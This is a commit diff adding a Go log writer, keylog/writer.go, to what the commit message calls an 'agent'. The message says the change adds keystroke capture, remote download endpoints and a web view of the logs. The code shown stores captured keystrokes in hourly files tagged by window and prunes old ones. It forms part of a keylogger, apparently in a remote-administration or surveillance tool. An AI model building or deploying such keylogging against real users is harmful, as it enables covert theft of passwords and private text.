Add keylogging functionality to the agent. Implement keylog start/stop, file listing, and download API endpoints. Update web interface to display keystroke logs and allow file downloads.

lib/keylog/writer.go

@@ -0,0 +1,110 @@
+package keylog
+
+import (
+	"os"
+	"path/filepath"
+	"time"
+)
+
+type Writer struct {
+	dir       string
+	file      *os.File
+	bucket    string
+	curWindow string
+	curSource string
+}
+
+func NewWriter(dir string) (*Writer, error) {
+	if err := os.MkdirAll(dir, 0o700); err != nil {
+		return nil, err
+	}
+	return &Writer{dir: dir}, nil
+}
+
+func (w *Writer) Write(event Event) error {
+	if event.Text == "" {
+		return nil
+	}
+	bucket := HourBucket(event.Time)
+	if bucket != w.bucket {
+		if err := w.rotate(bucket); err != nil {
+			return err
+		}
+	}
+
+	window := normalizeWindow(event.Window)
+	source := eventSource(event.Injected)
+	if window != w.curWindow || source != w.curSource {
+		if w.curWindow != "" {
+			if _, err := w.file.WriteString("\n\n"); err != nil {
+				return err
+			}
+		}
+		if _, err := w.file.WriteString(sectionHeader(source, window)); err != nil {
+			return err
+		}
+		w.curWindow = window
+		w.curSource = source
+	}
+
+	_, err := w.file.WriteString(event.Text)
+	return err
+}
+
+func (w *Writer) rotate(bucket string) error {
+	if w.file != nil {
+		if err := w.file.Close(); err != nil {
+			return err
+		}
+		w.file = nil
+	}
+	path := filepath.Join(w.dir, LogFilename(bucket))
+	file, err := os.OpenFile(path, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0o600)
+	if err != nil {
+		return err
+	}
+	w.file = file
+	w.bucket = bucket
+	w.curWindow = ""
+	w.curSource = ""
+	return nil
+}
+
+func (w *Writer) Close() error {
+	if w.file == nil {
+		return nil
+	}
+	err := w.file.Close()
+	w.file = nil
+	w.bucket = ""
+	w.curWindow = ""
+	w.curSource = ""
+	return err
+}
+
+func PruneOldLogs(dir string, retentionDays int) error {
+	if retentionDays <= 0 {
+		return nil
+	}
+	cutoff := time.Now().AddDate(0, 0, -retentionDays)
+	entries, err := os.ReadDir(dir)
+	if err != nil {
+		if os.IsNotExist(err) {
+			return nil
+		}
+		return err
+	}
+	for _, entry := range entries {
+		if entry.IsDir() || !ValidLogFilename(entry.Name()) {
+			continue
+		}
+		info, err := entry.Info()
+		if err != nil {
+			continue
+		}
+		if info.ModTime().Before(cutoff) {
+			_ = os.Remove(filepath.Join(dir, entry.Name()))
+		}
+	}
+	return nil
+}